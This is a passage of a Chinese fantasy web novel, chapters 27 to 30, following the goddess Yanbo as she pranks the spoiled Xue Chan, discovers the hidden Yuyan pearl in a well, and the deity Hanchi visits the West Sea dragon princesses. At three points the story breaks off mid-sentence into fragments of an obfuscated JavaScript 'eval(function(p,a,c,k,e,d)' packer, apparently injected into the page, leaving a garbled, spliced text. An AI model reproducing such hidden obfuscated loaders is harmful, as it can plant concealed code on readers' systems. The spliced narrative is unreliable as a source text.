今日他正在楼上眯眼听着歌,不经意往楼下瞥了一眼,差点没把魂儿给吓到天上去。他腾的从椅子上立起来,狠劲揉了揉眼,就怕自己不是老眼昏花。 可真是见鬼了!台下坐着的那个嗑着瓜子听戏的美貌女郎,正是半月前差点让薛阐拆了他迎丹楼的主儿! 掌柜登时觉得天旋地转,怎么也想不到这首《上陵》非但没招来神仙,倒迎来个扎扎实实的魔星。 一想到这位姑娘能以一己之力让迎丹楼丢了安平郡王和薛阐两位大主顾,掌柜的一刻也坐不住了,提着袍子跌跌撞撞的跑下楼来,没好气道:“姑娘,小店可招待不起您!” 转头冲小二道:“没眼力见儿的家伙!谁让你们把她招来的,快赶出去!” 女郎浑然不觉掌柜的驱鬼似的神情,乐道:“别这么谦虚,我听这曲子不错,这不招待的挺好嘛!” 掌柜的下定决心,以后这首《上陵》是万万不能再唱了。 女郎和气的问:“薛阐公子今日来了吗?” 完了完了,这是不拆了他迎丹楼不罢休啊! 掌柜的心中大叫不好,连连摆手:“不在不在!” 眼见掌柜的要拉扯她起来,女郎一闪一避,轻巧的站起来,慢条斯理的整理裙摆,脾气极好的道:“你是掌柜的?别紧张,我就是几日不见他,还怪想的,不知道他过得怎么样了。” 掌柜的嘴像黏了浆糊,除了赶人坚决不敢再张口。只道:“你再不走我就报官了!” 那女子又躲开一只撵她的手,笑嘻嘻道:“消消气消消气,要不这样,薛府在哪儿,我自己去找他。” 掌柜的一点磕绊都没打的报上了薛府的地址。 “你这掌柜,够知趣儿。”女郎冲掌柜送了个极甜美的笑,抱起桌上的糖人匣子,兴冲冲的扬长而去。 掌柜的拾起桌上留下的一锭金子,觉得这《上陵》继续唱着似乎也不错。 烟波晃晃悠悠的一路走到薛府,对薛阐的底细也了解的差不多。 听说薛阐父亲刚升了四品侍郎,独子薛阐便跟着鸡犬升天,从小纨绔喜登大纨绔,可惜还没快活几日,就撞上了阿印和烟波,迷迷糊糊地冲撞了安平郡王和老郡王妃,现在还被他爹打的屁股开花下不了床。 烟波倚在云头,扒在瓦缝看到薛阐躺在床上哼哼唧唧,心生怜爱,决定一会儿再来。 薛阐这几日过得凄凄惨惨,连睡觉也只敢趴着,屁股像着了火似的,辣的他难以入睡。 今日熬到后半夜,好不容易有了朦胧睡意,突然听到有女声在夜里轻轻唤他:“公子...公子......” 27.梦中仙子 薛阐睁不开眼皮,以为自己在梦中,没想到那声音不肯罢休,一声一声在黑暗中荡开。 忽然,有热气向他耳边袭来,一股淡淡的女子幽香若有似无的萦绕在他鼻息,终于拂得他睁开了眼。 “你、你是谁?” 薛阐只看见有个女子坐在床沿,背朝窗口而坐,在黑暗中面目模糊,只能看到身姿婀娜和贴着描着肌肤的雪白反光,略微勾勒出女子的轮廓。 女子的长发微微在动,只听她道:“薛公子,疼吗?” “我是在做梦?” “是,你是在做梦。”那女子笑道:“是我偷偷溜到梦里见你。” 薛阐觉得自己还晕晕乎乎的:“你为什么要见我?” 女子竟拿起手帕拭泪:“我钦慕公子已久,可碍于身份不敢暴露自己,但是今日看到公子伤成这样,实在不忍。” “钦慕我?你是哪家的小姐?” “公子不必问太多,我只能在黑暗中见你,若是被看到脸,小女只能像朝露一般消失了。” “我怎么觉得,你的声音有些耳熟?” “因为我每夜都在你耳边,悄悄念你的名字。” 薛阐来了劲,伸手要摸女子的脸:“莫非是姑娘长相难堪,所以不肯叫人瞧?” 女子侧开脸不叫他摸,却被薛阐捉住了手,他只觉手中的一团又绵又腻,柔若无骨,更加认定面前的是个美人。 她羞涩的低下头:“公子别这样。” “你都敢半夜潜来,不就是为这个?快来让哥哥好好疼疼你。”薛阐愈发没了顾忌。 柔腻的手抽走了,只听她道:“公子当心身子。” 话音刚落,薛阐便感到好不容易缓和的伤口又痛了起来。这痛还不像往常,变成了一浪接一浪的抽痛,似针扎又似火烤,忍不住痛出声来。 “少爷!少爷你怎么了!”听到屋内的声响,在外打盹的小厮吓得赶紧冲了进来。 经过上次的迎丹楼一闹,他因为护主不力也挨了一顿板子,现在跑得比谁都积极。 女子登时消失的无影无踪。 “滚滚滚,不长记性的东西,让你来了吗!”薛阐一个枕头便扔了过去。 “等等!” 薛阐又把小厮叫住:“你有看到什么人吗?” 小厮伸长脖子四处张望,一脸茫然:“没有啊。” “那你站着干嘛!还不快滚!” 小厮委委屈屈的退下了。 “姑娘,姑娘,你在吗?”薛阐顾不上伤口的痛,焦急的压低声音呼喊道,正准备掌灯去找,又想起女子说过不能看她的脸,只得作罢。 可无论他怎么呼唤,仍是无人应答。正当薛阐以为自己是做了场梦时,那个香气又来了。 “公子,你是在寻我么。” 薛阐一抬头,那抹倩影已翩然而至,仿佛从不曾离开。 电光火石间,薛阐脑子里突然蹦出一个念头,想到那些仙女下凡自荐枕席的故事,他激动道:“你是不是天上的仙女?” 女子在黑暗中笑而不答。 薛阐沸腾了! 原来真有仙女下凡的事,想到她在暗处钦慕自己许久,飘得嘴都合不拢了,这就要上手去抱,还未等他扑上去,屁股又见鬼的火烧火燎了起来,他不得不一手捂着伤口,一手不死心的想搂住仙女,最后又疼成了一团。 “奇怪,怎么一想碰你,我的伤就要裂开似的。”他呲牙咧嘴道。 女子掩嘴一笑,从床边站起,温柔而不失担忧道:“公子的身子不洁,沾血的伤口更不洁,碰不得我,只有将浊气排尽了才行。” “怎样排浊气?” “黄连泻火解毒,巴豆去热停寒,此两味药每日和清水服用,可助公子除浊。” 饶是薛公子再不食人间烟火,也知道这两味药的厉害之处,不禁有些迟疑。 女子看他神色犹豫,轻声道:“如此,我明白公子的意思了,可惜我二人有缘无分,不得与公子亲近。” 她伸出手来,手上凝出一道星辉,轻轻虚拂在薛阐身上,薛蟾登时感到周身清凉,痛感渐弱。只听女子道:“我修为尚浅,只能暂缓公子痛楚,望你保重。” 薛阐这还有什么不信的,听仙女要道别的意思,生怕她下一刻又消失的无影无踪,连忙抓住她的手腕:“我做我做!能同你一处,这点事算什么!” “只是……”薛阐痴痴道:“我也知道天上一天,地上一年,若等我干净了,你已经忘了我该怎么办?” “不会的。”女子递出一方刚才用来拭泪的手帕:“这便是我俩的信物。” “有此绢为证,我定会来见你。” “你叫什么?” “名字只是个代号,公子想叫我什么?” “那我就叫你梦娘可好?” “好。”女子更加欣喜。 话音未落,人已经不见了,只有那方手帕,飘飘乎落在薛阐手中。 薛阐连忙点上灯来看,原来是一方素色绢布,上面绣了两朵杜鹃。薛公子感叹:“没想到九天的仙女如此朴素。” 薛阐将脸埋进去细嗅,还有股怪味儿。他一脸陶醉的若有所思:“原来这就是天宫的味道!”他心道自己要努力适应天上的气味,于是又狠吸了几大口。 这方手帕最终被安置在薛阐枕上,薛阐枕着它闻着味道,幸福的沉沉睡去。 第二天天亮,薛府众人开始忙碌一天的活计。一大早就听见薛家四姑娘的奶娘叉着腰骂骂咧咧:“是哪个缺德见的,连我们四姑娘的口水兜子都要偷!” 四姑娘才刚满百天。 路过的小丫头们笑道:“奶娘别跳脚,哪个偷儿不长眼,专挑奶娃娃的口水兜子偷,许是您自己不当心,把口水兜子当尿布使了呢!” 烟波奔出二里地才终于憋不住笑的打跌,吓得路过的野猫都窜上了屋顶。 她慢悠悠的走在清晨的小路上,快活极了。在天上她时刻得低眉顺眼,本以为是已被磨平了性子,看来还是高看了自己。 至于那薛阐,她可没意愿再忍着一身的鸡皮疙瘩折腾他了,就让他抱着口水兜子流口水去吧。 狭窄的小巷迎面走来一白衣男子,手撑一柄油纸伞,神色淡漠。烟波觉得奇怪,抬头看看天空,没有一丝雨滴落下。 在男子与她擦肩而过的瞬间,烟波听到一句低语:“下雨了,姑娘不避雨吗。” “哪里有雨?”烟波停下脚步。 “很快就要下了,在你回去后的某一天。”他也抬起了头,极目远眺着什么。 故弄玄虚,烟波不想理他:“你的伞挡我路了。” “寒池上神并不知道神女此刻在凡间吧?” “你是谁?”烟波停下了脚步,警觉地看着他。 这男子面容平淡,有着叫人过目即忘的本领。烟波突然感受到他身上若有似无的一股气息,那是……仙气? 完了。烟波第一反应只有这个。被仙界人看到她在凡间捉弄凡人,她回去的名声又要臭上一层。 “不知是何方仙友下降凡间,烟波失礼了。”她大脑飞快运转,为自己设计着各种托词,但手上的礼数也一点没落下。 男子的笑意几近不可查觉:“神女不必紧张,我无意向九重天说什么,正好相反,我庆幸有这个没别人知道的机会,能和神女说说小话。” 烟波道:“仙友不肯告诉我名字吗?” 男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他勉强收敛心神,努力说服道:“若神女不喜欢这个,其他东西也可再说。如果把那法宝拿到了手,神女想要什么,岂不都是手到擒来。” “我想要什么……”烟波眯眼玩味着他的话。她在寒池身边至少有个稳定前途,帮人偷东西换这些看起来花俏的玩意儿,这人是有多看不起她,才觉得她会为这点取巧动心。 男子见烟波似乎有所动摇,手中又拿出一支蜡烛,循循善诱道:“神女不好奇吗?那法宝只是小小一颗珠子,便能呼风唤雨。听闻它平日似翡翠之碧,运作起来便现出如火焰般的赤红,十分神奇,若害怕上神责备,我这小烛可助神女一臂之力。” “它探得有宝珠的气息,便能无火自燃,神女可借它暗中找到宝珠,不必惊动上神。”他将小烛交给烟波。 烟波从他手中拿过小烛,随意瞥了一眼,狠狠将它丢在了地上,嗤笑道:“我只想舒舒服服当神仙,可不想要什么法宝。” “上神今日是宠爱神女,倘若某天他厌弃了你,神女又该如何自处?” 烟波睁大眼睛,眼里一派天真:“怎么会呢,上神才不会抛下我不管的!” 男子难以控制的微微露出轻蔑神情,忍耐着又说出一番长篇大论的劝慰。 见她似是有所动摇,他加快语速催促道:“此宝珠就在等闲境的禁地红花林之中,神女若不信,一试便知!” 烟波却听烦了他唠叨,嘟嘴发怒:“你到底是什么人,怎么敢这么咒我?我回去就要告诉上神,叫他来为我撑腰!” 他本以为柳烟波已上钩,没想到突然就翻了脸,还不等他再说,她已化作一团流风,消失无踪。 28.今日他不在 等闲境的夜依然很静,和走的时候一样。 可就是这天上一炷香的功夫,烟波的心境已是大不相同。 她脑子很乱,也不再想着避人,就这么失魂落魄,跌跌撞撞的走着。 高大的树木将她的身影切割的断断续续,时而形单影只,时而融入这片黑暗当中,好像她此刻的心情浮浮沉沉。 烟波当然也失了和波波对暗号的兴致,直接将门推开,把波波吓了一跳。 波波没注意到她的异样,小心翼翼的将门关紧,絮絮叨叨的小声抱怨:“你可真是吓死我了!” 烟波摸出一长匣子,木着脸放在桌上。 她茫然的看着这糖人匣子,心中突然有个声音格外清醒,惊讶自己在这种时候,竟然还没忘记把这小玩意儿替波波捎上来。她知道,虽然很少允诺,但自己是个言而有信的人。 她好不容易相信了寒池也是,结果……她的眼睛黯淡下来。 波波拉开匣子看到糖人,想起寒池的嘱托,献宝似的也捧出一个箱子来,对烟波笑嘻嘻道:“我也有东西要送你。” 匣子里竟都是她先前被鸟儿搜罗抢走的首饰衣裳,并且还多出了许多一模一样的来,她迟疑道:“这是......” 波波得意的邀功:“上神体谅你喜欢这些东西,不追究你下界的事了,还特意给你多做了些,让你可以时时看着,也不用再去凡间了。” 如果是在以往,要是寒池发现她偷偷下界,她必惴惴不安怕他动怒,可自从与那撑伞人打了招呼,她心中五味杂陈,生出一股愤怒。 他送这些东西回来是什么意思,再次展现自己的慈悲大度,来让她自惭形秽?还是向她示威,无论自己怎么挣扎腾挪,对他都是徒劳,根本翻不出他的手掌心? 她缓了缓,才问道:“你知道御炎珠吗?” 波波见她如此冷淡的反应,大感失望,嘟着嘴道:“那是什么?” “上神没和你讲过吗?”她上下扫着她。 “是《万神物志》上的东西吗?” “可能不叫这个名儿,或者他有没有和你提过什么宝珠?” 波波摇摇头。 “怎么了?”波波反应过来。 烟波什么也没说。只轻轻说:“休息吧。” 然后一夜睁眼到了天亮。 烟波称自己有一本作业丢在路上,支开波波去找,又去神木林唤了大吕。 她问:“上神在吗?” 大吕在九鹤中排行第三,心智较前头两个哥哥懵懂,但也能顶得上一个十岁左右的孩子,他摇摇头:“上神出去了。” “我一个人在这里憋闷的很,想出来透透气,你知道这里有什么好玩的地儿吗?” 大吕道:“我喜欢去雪斋里的不尽木上歇着,树很高,站在上面可以看到好多东西。” 烟波对这个回答没什么兴趣,冲他笑了笑:“好吧。” 她转身就走,被大吕拉住了衣袖,可怜巴巴的央求:“在不尽木玩捉迷藏可好玩了,烟波能陪我玩吗?” “你的兄弟们呢?” “他们出去玩了。” 哦,烟波明白过来,今天他看家,说明寒池也不在,心中一动。 “那你先去藏好,我回去一下,待会直接来找你好不好。”烟波递给他一个糖人哄道。 待大吕走了,她没有回轻然居,反而绕远路来到红色花林。 花林罩了一层结界,如果加上等闲境外的五重大结界,寒池一共设了六层,封住古战场的息壤,是禁地中的禁地。 烟波深吸口气,居高临下的远眺这片花林,只觉得结界中红光冲天,仿佛是被黄昏血红残阳笼罩的另一个世界。 她知道这次恐怕是要撕破面皮了,即便最后证明是她想错了,他也不会再原谅她,可她必须要试。 烟波使尽浑身解数也奈何不得,于是腾身飞至花林正上方,那是结界最薄弱之处。 她将云驾高,伸出十指做诀,口中念念有词。随着念声越来越快,手上翻飞的也更加缭乱,宛如人间的女儿家翻线绳一般,手中渐渐结成一八角光阵,有光缕从指间丝丝溢出。 烟波高举起手臂,托起掌心光阵喝一声:“去!” 光阵被抛至空中,像被放出了一朵烟花,原本只有掌心大小,渐渐在半空流泻射出流光溢彩的光丝,穿成一张致密的冷色光网,经纬交错,直扑结界顶心深深扎去,猛攻这一点。 光网触到结界即变成冷刃,光网中的光丝纵横交错插嵌在无色结界中,随着烟波隔空的压力不断下切,如同凡间用丝线割玉。 烟波掌心翻覆,光网外围旋出一道异色流光,随即又迅猛的张着爪牙深扎下去。 如此这般调转方向连割九次,结界最顶心已是支离破碎,表面绽开如冰花一样的裂纹,只听“啪”的一声,从那裂纹中飞出万道冷刃。 寒池在做结界时留了后手,一旦遭到强烈破坏便向入侵者发起进攻,那冷刃仿佛长了眼睛一般冲烟波飞来,从她小臂蜿蜒而上便破开一路的鲜血淋漓。 直到她眼睁睁的看着手臂上的鲜血从伤口被勾至半空,又被丝丝吸入结界的细缝中,所到之处迅速合为一体,结界表面不露丝毫破绽。 她这才意识到,这结界里的东西竟能反食闯入者的精血,如此精巧狠毒,她不由得倒抽一口凉气。 一番折腾下来,烟波已精疲力尽,结界却完好如初,她只得思索起其他去处。 御炎珠最好的运用方法便是如内丹一般,吸纳在体内时时修炼,这也是最妥帖的携带办法,寒池若有,不该又舍近求远的供着。 也许那男子果真在骗她…… 想到这,烟波不禁燃起了一点微弱的希望。 “你怎么在这儿?大吕在雪斋等你呢。” 烟波还在坐着发呆,波波已经捧着书一溜烟的窜了过来。 对了,雪斋! 波波还没靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她的轻然居被寒池布置的竹影斜疏,清幽雅致,而他自己的小院竟没几颗竹子,更多的是奇花异草围成一片花圃,粉白紫蓝,好不热闹,角落里还支着架起来的竹席和躺椅。 院子正中是一颗珠树,花叶果实皆为琳琅的珠玉宝石,望之熠熠生辉,光彩夺目,如霞云蕴蕴,满院的花朵都为之夺色。 烟波看呆了一瞬,才想起来找人,这院子里的东西低矮,想来想去,能藏的只有这颗珠树。 她来到树下,发现树下有口小井。说来奇怪,这树上挂的明明是珠宝,可也会随着风飘落,落在井水上漂浮着,如同平常花瓣,就这样积攒了一层无人清理,整个井面已被覆满。 烟波好奇的探下身,伸手拨开井水,突然感到手指被一股灼烧刺痛。 她举起手,右手食指上跃起灼灼白色火焰,映在烟波的瞳孔中,微微颤动。 烟波的脸一下血色尽失。 只有她自己知道,在她向男子丢回小烛的同时悄悄挖掉了一小块,就藏在右手食指的指甲盖中。 29.印证 烟波虽然早已想到这种可能,可当一切成真,她又不愿面对。 明明身边的风很轻柔,她却好像被这轻飘飘的风狠狠抽了个耳光,面颊仿佛被刀子割过,火辣辣的生疼。 难怪,难怪。 烟波倚着井口怔怔的滑坐下来。 阿印向她讲述的故事和寒池的眼神重叠又分离,九重天诸仙的目光与飞霁愤恨的脸合二为一,自苏醒后的无数人和事在她眼前进进出出,仿佛一颗颗珠子,被御炎珠这条链子终于串在了一起。 她百思不得的飞升理由终于找到——是御炎珠。 她设想过自己会愤怒,痛恨,失望,破口大骂,甚至是对自己先见之明应验的扬眉吐气,可真正经历后,脑海里只有一片空白,很久很久才回过神来。 她想起他在光影间如玉般柔和的脸庞,想起他交给自己的月白镯,想起他从怀中将她抛下的欣然一笑,说不出一句话。 终于,她才想起去抚摸脸上那个无影无形的一片火辣,可只摸到一片冰凉的湿润。 原来是流了泪,泪被风吹冷了。 烟波竟不觉得惊讶,只是木然的想:几百年了,我终于又流泪了。 原来又是孤身一个人了。 不,她不是一直都是孤身一人吗? 他与那些抢夺珠子的人没有丝毫不同。 她猛地想起鲛人笙笙,她当日将御炎珠交予了她,如今珠子已在寒池手中,那笙笙...... 想到笙笙性子天真烂漫,不谙世事,烟波的心一点一点的沉下去。 她收敛心神,擦干了泪,颤抖着将浮在水面上的珠玉一捧一捧的舀出来,待珠玉在井边堆成了小山,再将手探入水中,无色的井水瞬间成了一汪红。 烟波倒抽一口凉气,看来无色水是幻象,这...是谁的血? 指尖的火焰依然闪动,双手仿佛被烧着。 柳烟波深吸口气,纵身一跃,跳入了井中。 “喂!你干什么!我出来还不行吗!” 大吕惊得目瞪口呆,他藏得不耐烦,刚想偷出来瞧瞧情况,便看到她跳了下去。 怎么会有这样的呆子,谁捉迷藏会藏井里啊! 井从上面看只是小小一口,跳入才发现下面是如此深不可测,仿佛没入汪洋之中。 血红的水又褪散了颜色,她才又一次惊觉,原来血水也是幻象。 她避着疼痛给自己撑开结界,努力往更深处潜去,不知在多深的深处,隐隐透出了红光,循着那光潜去,越靠近光芒越盛,刺得烟波眯住了眼。 那赤色光芒的中央,赫然悬着一颗赤红的珠子。 “御炎珠!”烟波叫出了声。 她连忙将手探去,却被狠狠的弹了回来,连累自身结界也岌岌可危。 反复试了几次,反而将自己的结界打出一口子,一股热浪向她席卷而来,全身宛如坠入庞大的红莲业火。 再耗下去,恐怕仙体也禁不起这么烧,烟波咬牙挥避开这看不见的赤红火焰,一口气向上冲去。 “神女!神女!”大吕扑在井边吓得够呛,只得把波波也叫了来,两个人瞪着井等了一个钟头不见她浮上来,急的要哭出来之时,井面突然被巨大的水柱冲破。 “神女!” “烟波!” 波波和大吕叫出了声。 波波捂着胸口,心有余悸:“吓死我了,你要是掉下去了,我可怎么和上神交待!” 大吕边拍掉羽翼上的水珠边抱怨道:“我再也不找你玩捉迷藏了!” 她却像什么也没有听到,不顾一身狼狈,拖着湿透的身子默默往回走。 “你去哪儿?”波波追在她身后问道。 “回去换身衣服。” 波波还要再问,却看到她的脸色吓人,不敢再问了。 水晶宫的屋脊耀眼,将方圆十里都照了个透亮,寒池下意识遮了遮眼睛。他不爱来西海,实在怪宫殿太晃人眼。 门下四个值守的虾兵瞧见寒池,连忙向他行礼。 刚落地,便有一绿衣小使在此等候,是夔元的侍从迎来带路。 两边的鱼虾将路边的夜明珠杆立起来,反射在水晶甬路上,通明的比仙界的白昼还亮两分。 小使殷勤的跟寒池介绍道:“上神是贵客,来一趟我们西海不容易,三殿下嘱咐我们一定要好好招待。” 寒池不动神色的扫视了一圈,扬声道:“十位公主都来迎接的盛情,我可有些承受不住。” 听到被人识破,干脆窜出来唧唧喳喳的围了寒池一圈。 小使还在一个个请安:“大公主,二公主,三公主,四公主,五公主……”寒池冲她们点头致意道:“寒池见过公主们。” 小使才念到六公主,较小的九公主已经按捺不住,抱着小金龙状的小十三抢先问道:“上神怎么过了这么久才来!”她才学会化形不久,头顶的龙角还未收去。 “是呀是呀,可算盼到你来了!”龙女们异口同声。 不等寒池答话,三公主已经吃吃笑了起来,说起话来好不客气:“我看是我家的傻哥哥又出门丢了人,招了上神白眼,才连累我们也见不到。” “那他罪过可大了,咱们姐妹可要好好找他算账!”众公主争先恐后道。 大公主无奈道:“你们可别找个由头就去惹他,若是冤枉了他,又要叫上好几日,我可受不了他那无赖样。” “寒池哥哥,今天有好看的花给我们看吗?” 寒池每次拜访西海,都会摘些花圃中的奇花异草送给这一群公主。 海里的珠宝司空见惯,难得的是天上花草,这些礼物自然大受她们欢迎,公主们尤爱佩戴花草去四海做客玩耍,渐渐在水里形成一股风潮,海中各族都以戴九重天的花草为美。 加上寒池性情温和,人又清雅,天上地下都有一副好名声,他在西海龙公主们心中的地位可比夔元这个哥哥要崇高得多。 寒池笑道:“这次出来的急,忘记了,下次一定补上。” 十位龙女簇拥着寒池说着话,场面堪称壮观。 她们各个面容娇美,天真烂漫,加之龙族审美喜好华丽鲜艳,越是招摇浮夸越是喜欢,十个人金光灿灿大红大绿的凑在一处,更似花团锦簇,百花争艳的够热闹。 龙族卵生多产,龙王与王后两胎连生三个儿子,剩下的一口气全是女儿,西海大太子和二太子与夔元岁数差的大,早早便外任到了自己的封地,实际只有夔元这一个男孩和姐妹们混在一起长大。 女孩们越是长大,数量排开越是可观气派,九重天随之也出了个不成文的规矩,谁请客能把西海的十姐妹都凑齐,谁的面子便最大,这个规定和谁喝到寒池的香雪酒谁面子大并列,成为仙界两大请客标杆。 小使见公主们拽着寒池不撒手,不时回望身后的水晶宫心中暗自焦急,就差两步路愣是进不去,他可怎么向夔元交待! 夔元早听到通报寒池来了,左等右等不到,只得纡尊降贵的亲自迎接,老远便看到这姹紫嫣红的一团热闹,他敬畏的停下了脚步。 他最佩服寒池的就是这点,在十条女龙的夹击下依然泰 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龙家三兄弟只得互相安慰,好歹吵架的时候不用担心他们再搞出个十四五六。 “夔元?”还是寒池先发现了,在人群中静静朝他的方向转过头,一身清浅的素青衫子站在那,在一众艳色的衬托下更如众星拱月般脱尘。 他的声音不大,可龙女们却立刻安静了下来。 夔元下意识的低头看了眼自己一身紫红色滚金云纹的华丽锦袍,自觉地走上前,融入十姐妹的眼花缭乱当中。 “怪不得等不到人,原来是被这群疯丫头堵了,我就说外面怎么这么吵。”夔元掏着耳朵大马金刀的往那一站。 大公主冷哼一声,她同夔元年纪最相近,说起话来也最不客气:“老三你可真好意思说,上次去东海做客,三姨妈提起你在九重天发酒疯,可把我们都臊的要钻地缝。” “谁说不是呢。”二公主四公主五公主几个大的争着点头道:“我们在这帮你说好话挽回面子,你倒第一句话就拆姐妹们的台!” “三哥就是坏人先告状,怕我们说他坏话!” “可不!上神快来评评理,我们才不像老三以小人之心度君子之腹哩。” 众姐妹推推搡搡,拉着寒池编排夔元,寒池低头一看,袍子的下摆还被九公主揪在小手里。 他笑而不语,只戏谑的盯着夔元。 夔元换了一边耳朵掏,懒洋洋的道:“我才说了一句,你们吵得本太子耳朵都要聋了,是啊寒池,你说说,她们是不是在告我黑状。” 寒池道:“怎么会,公主们只是如实相告。” 夔元早就知道寒池不厚道。 龙女们觉得寒池是在为她们撑腰,更加理直气壮起来,六公主嗔道:“还是寒池哥哥好,要是我有个上神这样的哥哥就好了。” 见自家姐妹深以为然,夔元不甘示弱的叉腰要为自己找回面子,掐着嗓子道:“老九啊,你寒池哥哥的妹妹可不好当,你得学学等闲境的烟波神女不讲话,给上神留个清净,像你们这般吵闹,恐怕半天就得被轰回来。” “你!” 听到烟波的名字,寒池神情微微一动。 完了完了,小使在一旁看得心惊肉跳,寻思着是不是又要去禀告龙王,叫他们两夫妻收拾东西去大殿下二殿下处避难。 眼看两方人又要打起来,寒池才出来打住:“别为了我动气。” 转头问他:“三殿下,拜托你的东西好了吗?” 夔元这才敛了神色。 30.南柯一梦 过了三个月,薛阐才再一次见到那晚的“梦娘”。 又一个月黑风高的夜里,风打得纸窗沙沙作响,薛阐正捉着他新得的通房丫鬟胡闹,衣裳都半解了开,忽然一阵风过,门窗“啪”的一声顿时大开,屋内的灯火皆被扑灭。 薛阐败兴的停下手中动作,支使丫鬟将灯点上。 才燃亮了灯,关好门窗,又有怪风吹来,室内再次陷入死寂一片黑暗,只余木门“吱呀吱呀”的在风中摇摆。 “少爷……这……”丫鬟迟疑道。 渐渐地,一阵暗香飘入。 不知这香从何来,既不似花香又不似熏香,只是一阵阵的潜来,幽甜诡媚,似有若无,叫人捉摸不透。 “少爷……”丫鬟也闻到了,声音止不住的发抖。 薛阐觉得这味道有些熟悉,似乎在某一个夜里,他也曾经闻到过这样的女子香气。 到底是哪里呢,薛公子身畔的女子太多,实在记不起到底是哪位姑娘的味道。 一口热气突然吹到他耳边,伴随着热气而来的还有一句忧伤的女子软语,吹得薛阐彻底回了神。 那声音低低道:“薛公子,你就是这样背弃我们约定的么?” 小丫鬟显然也听到了,她“啊”的尖叫一声,手指紧抓薛阐的衣袖道:“公子,我怕……” 黑暗中的声音一下子又飘得很远,幽幽叹息道:“不记得梦娘了吗?” 第一次见到闹鬼,丫鬟登时魂飞魄散,惊慌失措间打翻烛台,“当”的一落在地上,在安静到诡异的室内变成了惊天动地的巨响。 也是这声音唤醒了薛阐,险些让他坐到了地上,他连声大叫:“记得,当然记得!” 说完才想起身边还有个麻烦通房,连忙将丫鬟粗鲁的推出门外,并警告她道:“出去,不许和任何人说今晚的事!” 可丫鬟走了,房间里的香气也消散了。 薛阐急了,连声唤道:“梦娘,梦娘!” 屏息竖耳等了好久,才听到一声叹息:“你失约了。” “我没有!”薛阐下意识的反驳道。 “身上好大的脂粉气,方才那小姑娘也是你的人?” 女声顿了顿,似在黑暗中打量着他:“嗯,瞧着比之前胖了不少,想来公子生活滋润,巴豆黄连也只是说说罢了。” 这声音越说到后面越发讥诮,与三个月前那柔顺的女声派若两人。 可薛阐心虚在先,没听出她的言外之意。他确实按嘱托吃了几日巴豆黄连,可非但没拉脱水,差点还患上钩肠痔,要多狼狈有多狼狈,吓得他不敢再来。 更何况酒肉在旁,美人在侧,谁会将一个虚无缥缈的承诺当真呢? 思来想去,薛阐觉得实在怪不得他,可确实是他理亏,好声好气道: “梦娘,梦娘,你就像梦里的人迟迟不来,我念你念得难受极了,才找些旁的排遣寂寞,我的心意你还不明白吗?” 女声突然冷笑一声,声音陡然拔高:“自然明白。” 薛阐被她吓到,结结巴巴的问:“梦娘,你怎么了?怎么像变了个人似的?” “变了个人?那公子说说,我是什么样的人?”女子的声调突然又低柔下来,婉转如水。 “对对,就是现在这样!” “我原来是这样的人啊?”女声又变了,娇滴滴甜腻腻的一个字一个字吐出来,每个字尾都像带了钩子。 “梦娘,你不生气了?”薛公子被这一冷一热搞得晕晕乎乎的,心想原来仙女如此好哄。 “我啊,当然——生气。” 薛阐显然听力不佳,囫囵听着还喜滋滋的,张开胳膊就想扑过去:“梦娘你在哪儿,既然不生气了,总该让我摸摸了吧。” 只听空中传来一阵格格娇笑:“我在这儿啊。” 薛阐循声辨位,正要跟着就摸过去,一阵劲风带着火辣辣的耳光先落在了他脸上。 薛阐眼冒金星,懵在了当场。 “你!”他捂着左脸不敢置信。 “这下公子该知道我在哪儿了吧?”娇笑吹到了薛阐耳际。 又一股香风飘过:“我一直就在你身边啊。” “啪!”又是一记耳光,正中薛阐的右脸。 “还没找到吗?” 薛阐这下两边脸颊红肿的十分对称,他被扇的晕头转向,一时竟想不起发火。 “诶~你不是想见我吗,怎么现在不说话了?” “你!” “又是这句。”那声音抱怨道。 “你个卑鄙贱人,还骗我是仙女!” 空中传来一阵狂笑,突然暴戾的怒道:“我从来没说过我是什么仙女!” “怎么,我不是仙女,你就不爱了?这就是你的心意?” “鬼!你是鬼!”薛阐反应过来,撑着就要往门边跑去,嘴里不住地嚷着: “开门啊!快开门救人!有鬼啊!!”惊慌间被凳子绊倒,一头栽到了地上。 见薛阐连滚带爬向门边挣扎,那声音冷哼一声:“真没礼貌。” 薛阐吓得肝胆俱裂,好不容易摸到了门,却怎么也推不开拍不动,外面的人都死了一般,无人响应,瞬间,薛阐已满身冷汗。 “没用的,你在我设的门内,出不去也进不来。” “还以为你能多撑一会儿,真是不好玩。” 话音刚落,室内灯火通明。 “不是想看我的样子吗?来呀,看看?” 一女子双脚踏在凳上,坐在桌上说话,手肘支在膝头,托腮歪着头打量着薛阐。 她身形窈窕,乌发如云披散在桌上,似一抹幽魂。嘴角微微上扬,只是眸色淡漠,脸色苍白的吓人,脸上明明笑着,面皮却紧紧绷起,诡异到妖邪,与上次的璀璨夺目派若两人。 “是你!” 薛阐对这张脸真是记忆犹新,万万没想到,和他郎情妾意的仙女竟然就是害他下不了床的罪魁祸首! 此时此刻他宁愿见的是鬼,也不愿见这张梨花面。 “咦,是不是不够近?”烟波关切的自问自答。 于是她抬起右手,薛阐忽然感到一阵天旋地转,有只无形的手将他倒着提到半空,与那可怕的妖女只有半个身子的距离。 烟波笑眯眯的拍着他颤巍巍的肥脸:“可看仔细了吧,薛公子,别来无恙啊。” “呸!贱人!”见薛阐作势要向她身上吐唾沫,烟波隔空一指,一口浓痰反弹回了薛阐的嗓子眼,噎得他白眼直翻,险些窒息。 烟波嫌弃的将他推远,望着吊在半空的凡人道:“我可没什么耐心,本来还想和熟人叙叙旧,若还是不解风情,那姑奶奶就大发慈悲,将你挂到十里之外的乱葬岗坟头透透气如何?” 薛阐登时吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 